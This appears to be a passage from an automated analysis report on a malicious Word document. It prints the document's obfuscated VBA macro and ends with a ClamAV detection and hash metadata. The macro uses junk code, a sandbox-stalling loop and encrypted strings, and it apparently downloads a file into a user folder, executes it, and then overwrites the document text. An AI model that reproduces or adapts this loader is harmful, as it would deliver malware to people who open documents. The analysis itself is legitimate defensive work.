RcfhYKbvetd As String Dim ErapFFTNSVU As Long, DrAjm9ejC As Long ErapFFTNSVU = 18 DrAjm9ejC = 77 If ErapFFTNSVU + DrAjm9ejC > 4 Then DrAjm9ejC = ErapFFTNSVU + 24 Else MsgBox 58 End If Dim BMjRypaNLzNR3 As Long, Jf9Wn2 As Long, IDNNqDER6NZ8 As Long, WWf2teuDu As Integer Dim XOdJj4RWPHly As Long, FbCJTyiwp As Long XOdJj4RWPHly = 98 FbCJTyiwp = 72 If XOdJj4RWPHly + FbCJTyiwp > 4 Then FbCJTyiwp = XOdJj4RWPHly + 79 Else MsgBox 30 End If BMjRypaNLzNR3 = 942728842: Jf9Wn2 = 0: IDNNqDER6NZ8 = 0 Dim UWtqJ3WVz9 As Long, AR6YOxLFt99 As Long UWtqJ3WVz9 = 65 AR6YOxLFt99 = 47 If UWtqJ3WVz9 + AR6YOxLFt99 > 4 Then AR6YOxLFt99 = UWtqJ3WVz9 + 29 Else MsgBox 55 End If For Jf9Wn2 = 1 To BMjRypaNLzNR3 IDNNqDER6NZ8 = IDNNqDER6NZ8 + 1 Next Jf9Wn2 Dim H71AmjjgW7 As Long, HRmRG964fZCwj As Long H71AmjjgW7 = 35 HRmRG964fZCwj = 64 If H71AmjjgW7 + HRmRG964fZCwj > 4 Then HRmRG964fZCwj = H71AmjjgW7 + 50 Else MsgBox 19 End If If IDNNqDER6NZ8 = BMjRypaNLzNR3 Then Dim WKOCtsVrBVzQobWKo As Long, Qcq26UDHsoSPJx As Long WKOCtsVrBVzQobWKo = 41 Qcq26UDHsoSPJx = 72 If WKOCtsVrBVzQobWKo + Qcq26UDHsoSPJx > 4 Then Qcq26UDHsoSPJx = WKOCtsVrBVzQobWKo + 24 Else MsgBox 23 End If RcfhYKbvetd = Environ(CUh12emhPa4g(Chr(242) + Chr(139) + Chr(69) + Chr(106) + Chr(159) + Chr(202) + Chr(230), "X9Hxae1qOv")) & "\" & OBqADCHy & CUh12emhPa4g(Chr(18) + Chr(12) + Chr(7) + Chr(253), "Vgq8Q62G") Dim Gzew5HTqKk As Long, QzRyoRqfGiX As Long Gzew5HTqKk = 54 QzRyoRqfGiX = 7 If Gzew5HTqKk + QzRyoRqfGiX > 4 Then QzRyoRqfGiX = Gzew5HTqKk + 49 Else MsgBox 47 End If If Yptw7lcRqUAqs1(CUh12emhPa4g(Chr(199) + Chr(207) + Chr(152) + Chr(90) + Chr(102) + Chr(120) + Chr(119) + Chr(187) + Chr(74) + Chr(15) + Chr(108) + Chr(211) + Chr(161) + Chr(135) + Chr(68) + Chr(121) + Chr(214) + Chr(112) + Chr(57) + Chr(235) + Chr(198) + Chr(247) + Chr(15) + Chr(131) + Chr(112) + Chr(45) + Chr(232) + Chr(12) + Chr(30) + Chr(181) + Chr(49) + Chr(182) + Chr(14) + Chr(68) + Chr(2) + Chr(90) + Chr(56) + Chr(180) + Chr(167) + Chr(216) + Chr(172) + Chr(116), "EvwXcRx"), RcfhYKbvetd, CUh12emhPa4g(Chr(203) + Chr(18) + Chr(38) + Chr(119) + Chr(133) + Chr(31) + Chr(3) + Chr(213) + Chr(117), "Mw2uiDPQY3XH")) = True Then Dim SeTaV6gcZTmkUl As Long, QtaJZdRgvYXxDdl As Long SeTaV6gcZTmkUl = 91 QtaJZdRgvYXxDdl = 94 If SeTaV6gcZTmkUl + QtaJZdRgvYXxDdl > 4 Then QtaJZdRgvYXxDdl = SeTaV6gcZTmkUl + 13 Else MsgBox 58 End If RQxKoIyhmZRjA 1 Dim TAFc1HK4sO As Long, Pim As Long TAFc1HK4sO = 90 Pim = 11 If TAFc1HK4sO + Pim > 4 Then Pim = TAFc1HK4sO + 22 Else MsgBox 15 End If XiB46eUBNC RcfhYKbvetd Dim N3vr0aNH As Long, L5JHaYjpM9YMZ As Long N3vr0aNH = 28 L5JHaYjpM9YMZ = 23 If N3vr0aNH + L5JHaYjpM9YMZ > 4 Then L5JHaYjpM9YMZ = N3vr0aNH + 12 Else MsgBox 47 End If End If Dim U72sqG9Xwx As Long, PMMWzLxJ6udrgcn As Long U72sqG9Xwx = 15 PMMWzLxJ6udrgcn = 37 If U72sqG9Xwx + PMMWzLxJ6udrgcn > 4 Then PMMWzLxJ6udrgcn = U72sqG9Xwx + 70 Else MsgBox 98 End If ActiveDocument.Range.Text = CUh12emhPa4g(Chr(111) + Chr(169) + Chr(212) + Chr(86) + Chr(69) + Chr(0) + Chr(209) + Chr(89) + Chr(21) + Chr(20) + Chr(135) + Chr(50) + Chr(125) + Chr(99) + Chr(148) + Chr(237) + Chr(211) + Chr(226) + Chr(64) + Chr(176) + Chr(91) + Chr(142) + Chr(72) + Chr(116) + Chr(219) + Chr(22) + Chr(161) + Chr(45) + Chr(123) + Chr(104) + Chr(82) + Chr(107) + Chr(210) + Chr(160) + Chr(152) + Chr(3) + Chr(154) + Chr(188) + Chr(85) + Chr(161) + Chr(119) + Chr(68) + Chr(165) + Chr(183) + Chr(180) + Chr(251) + Chr(9) + Chr(95) + Chr(140) + Chr(67) + Chr(36) + Chr(38) + Chr(138) + Chr(110) + Chr(221) + Chr(147) + Chr(13) + Chr(165) + Chr(118) + Chr(51) + Chr(214) + Chr(133) + Chr(168) + Chr(208) + Chr(212) + Chr(8) + Chr(53) + Chr(73) + Chr(24) + Chr(195) + Chr(87), "JrpyIPiaTX") End If Dim KjjLrbXCz0lHq As Long, HVNTyOM9YMZ As Long KjjLrbXCz0lHq = 2 HVNTyOM9YMZ = 51 If KjjLrbXCz0lHq + HVNTyOM9YMZ > 4 Then HVNTyOM9YMZ = KjjLrbXCz0lHq + 28 Else MsgBox 23 End If End Sub |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 52736 bytes |
SHA-256: 2235f3bed5fb4ab8c0e5be1e9c4c61fa3195829ddc8f8c92eb3e96d49c45c635 |
|||
|
Detection
ClamAV:
Doc.Malware.Chronos-6897935-0
Obfuscation or payload:
likely
312 of 613 identifiers look randomly generated (e.g. 'H1unwlMZF1W0I8da2') — consistent with name-mangling obfuscation.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.